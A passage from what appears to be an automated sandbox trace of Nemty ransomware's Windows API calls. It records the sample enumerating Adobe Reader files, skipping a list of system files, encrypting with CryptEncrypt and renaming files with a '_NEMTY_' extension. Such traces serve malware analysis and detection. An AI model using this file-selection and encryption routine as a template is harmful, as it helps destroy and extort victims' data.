nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0205.829] CloseHandle (hObject=0xffffffff) returned 0 [0205.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94198 [0205.829] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0205.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0205.829] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0205.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0205.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0205.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94220 [0205.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f942a8 [0205.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94220 | out: hHeap=0x4f90000) returned 1 [0205.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0205.829] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK2K-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbk2k-v"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK2K-V._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbk2k-v._nemty_kgobjgd_")) returned 0 [0205.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942a8 | out: hHeap=0x4f90000) returned 1 [0205.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0205.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0205.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0205.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0205.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0205.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0205.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0205.829] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15580, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBKp-EUC-H", cAlternateFileName="GBKP-E~1")) returned 1 [0205.830] lstrcmpiW (lpString1="GBKp-EUC-H", lpString2=".") returned 1 [0205.830] lstrcmpiW (lpString1="GBKp-EUC-H", lpString2="..") returned 1 [0205.830] lstrcmpiW (lpString1="GBKp-EUC-H", lpString2="...") returned 1 [0205.830] lstrcmpiW (lpString1="GBKp-EUC-H", lpString2="windows") returned -1 [0205.830] lstrcmpiW (lpString1="GBKp-EUC-H", lpString2="$RECYCLE.BIN") returned 1 [0205.830] lstrcmpiW (lpString1="GBKp-EUC-H", lpString2="rsa") returned -1 [0205.830] lstrcmpiW (lpString1="GBKp-EUC-H", lpString2="NTDETECT.COM") returned -1 [0205.830] lstrcmpiW (lpString1="GBKp-EUC-H", lpString2="ntldr") returned -1 [0205.830] lstrcmpiW (lpString1="GBKp-EUC-H", lpString2="MSDOS.SYS") returned -1 [0205.830] lstrcmpiW (lpString1="GBKp-EUC-H", lpString2="IO.SYS") returned -1 [0205.830] lstrcmpiW (lpString1="GBKp-EUC-H", lpString2="boot.ini") returned 1 [0205.830] lstrcmpiW (lpString1="GBKp-EUC-H", lpString2="boot.ini") returned 1 [0205.830] lstrcmpiW (lpString1="GBKp-EUC-H", lpString2="AUTOEXEC.BAT") returned 1 [0205.830] lstrcmpiW (lpString1="GBKp-EUC-H", lpString2="ntuser.dat") returned -1 [0205.830] lstrcmpiW (lpString1="GBKp-EUC-H", lpString2="desktop.ini") returned 1 [0205.830] lstrcmpiW (lpString1="GBKp-EUC-H", lpString2="CONFIG.SYS") returned 1 [0205.830] lstrcmpiW (lpString1="GBKp-EUC-H", lpString2="RECYCLER") returned -1 [0205.830] lstrcmpiW (lpString1="GBKp-EUC-H", lpString2="BOOTSECT.BAK") returned 1 [0205.830] lstrcmpiW (lpString1="GBKp-EUC-H", lpString2="bootmgr") returned 1 [0205.830] lstrcmpiW (lpString1="GBKp-EUC-H", lpString2="programdata") returned -1 [0205.830] lstrcmpiW (lpString1="GBKp-EUC-H", lpString2="appdata") returned 1 [0205.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0205.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBKp-EUC-H", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0205.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBKp-EUC-H", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBKp-EUC-H", lpUsedDefaultChar=0x0) returned 10 [0205.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0205.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBKp-EUC-H", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0205.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBKp-EUC-H", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBKp-EUC-H", lpUsedDefaultChar=0x0) returned 10 [0205.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0205.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0205.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0205.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBKp-EUC-H", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0205.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBKp-EUC-H", cchWideChar=10, lpMultiByteStr=0x653ec20, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBKp-EUC-H", lpUsedDefaultChar=0x0) returned 10 [0205.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0205.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0205.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBKp-EUC-H", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0205.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBKp-EUC-H", cchWideChar=10, lpMultiByteStr=0x653ec58, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBKp-EUC-H", lpUsedDefaultChar=0x0) returned 10 [0205.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0205.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0205.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94110 | out: hHeap=0x4f90000) returned 1 [0205.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0205.831] Sleep (dwMilliseconds=0x5) [0205.840] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2e53e270, dwHighDateTime=0x1d561e8)) [0205.840] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2e53e270, dwHighDateTime=0x1d561e8)) [0205.840] GetLastError () returned 0x5 [0205.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0205.840] GetLastError () returned 0x5 [0205.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0205.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0205.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0205.840] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0205.840] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0205.840] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0205.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0205.840] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="VKoEkeZI2WfVT/NmPq+C739uo3Q9PK2lWA/kT8ikaoiQ4xERf/bVdBUpYbj1hY5x\r\nQVlEkAEwWyxacB/b667pYRk7moxqAUGRqr33QH6yABKUhy6ok9HWYP56sL6he/xX\r\nGAYLqGCQlsTASELIiDLoPCOfUqdHJu3FkTYXRwvQkFn7FvPpkqiZzR8mO5+VURiT\r\n6D9Mtro9CEIRnDpzpWLPk1Ff7PXWeaJI6IgZuB9SZsqfUSpCixa+mEoqlnxNuY90\r\nw4AwbSw1YICgZ6oFEGQ+FmpxRdHdQg9SpAsGtbfq9re41l8/QklwFYZd0grkSzpx\r\n8/1o6AtNQ4uv75356rvUkw==\r\n", pcchString=0x653e91c) returned 1 [0205.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0205.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0205.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0205.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0205.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0205.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0205.841] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBKp-EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbkp-euc-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0205.841] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0205.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0205.841] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.841] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.850] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.850] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.850] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.850] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.859] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.859] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.859] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.860] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.869] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.869] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.869] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.869] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.878] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.878] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.878] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.878] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.888] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.888] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.888] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.888] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.897] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.897] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.897] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.897] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.907] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.907] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.907] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.907] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.916] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.916] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.916] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.916] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.925] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.925] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.925] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.926] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.935] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.935] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.935] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.935] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.941] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.941] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.941] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.941] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.947] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.947] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.947] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.947] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6349050, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0205.947] CloseHandle (hObject=0xffffffff) returned 0 [0205.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0205.947] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0205.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0205.947] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0205.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0205.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0205.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0205.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0205.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0205.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0205.947] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBKp-EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbkp-euc-h"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBKp-EUC-H._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbkp-euc-h._nemty_kgobjgd_")) returned 0 [0205.948] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0205.948] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0205.948] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0205.948] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0205.948] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0205.948] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0205.948] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0205.948] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0205.948] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, 